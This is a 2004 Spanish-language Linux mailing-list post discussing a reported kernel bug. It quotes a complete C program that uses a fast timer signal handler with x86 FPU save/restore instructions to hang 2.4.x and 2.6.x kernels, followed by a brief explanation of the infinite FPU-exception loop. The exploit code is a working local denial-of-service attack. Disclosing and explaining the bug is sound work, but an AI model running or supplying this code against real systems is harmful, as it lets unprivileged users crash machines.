Kernel Crash-Exploit descubierto

Horst von Brand vonbrand en inf.utfsm.cl
Dom Jun 13 22:55:47 CLT 2004


Felipe Covarrubias Hooper <felipe.covarrubias en alumnos.utfsm.cl> dijo:
> Gustavo Chaín wrote:
> >On Sat, 12 Jun 2004 14:14:56 -0400
> >Gustavo Chaín <id1 en vtr.net> wrote:

> >> El bug permite q un simple programa en C bloquee el sistema, afecta
> >> kernels 2.4.2x and 2.6.x, el exploit fue reportado como un "gcc bug"
> >>Código
> >>
> >>  #include <sys/time.h>
> >>  #include <signal.h>
> >>  #include <unistd.h>
> >>  
> >>  static void Handler(int ignore)
> >>  {
> >>   char fpubuf[108];
> >>   __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
> >>   write(2, "*", 1);
> >>   __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
> >>  }
> >>  
> >>  int main(int argc, char *argv[])
> >>  {
> >>   struct itimerval spec;
> >>   signal(SIGALRM, Handler);
> >>   spec.it_interval.tv_sec=0;
> >>   spec.it_interval.tv_usec=100;
> >>   spec.it_value.tv_sec=0;
> >>   spec.it_value.tv_usec=100;
> >>   setitimer(ITIMER_REAL, &spec, NULL);
> >>   while(1)
> >>    write(1, ".", 1);
> >>  
> >>   return 0;
> >>  }

El problema es que deja los bits de estado de la FPU en estado extran~o,
haciendo que el nucleo entre en un loop infinito con una excepcion de la
FPU al copiar memoria, que lleva a generar un error de FPU, que...
-- 
Dr. Horst H. von Brand                   User #22616 counter.li.org
Departamento de Informatica                     Fono: +56 32 654431
Universidad Tecnica Federico Santa Maria              +56 32 654239
Casilla 110-V, Valparaiso, Chile                Fax:  +56 32 797513


Más información sobre la lista de distribución Linux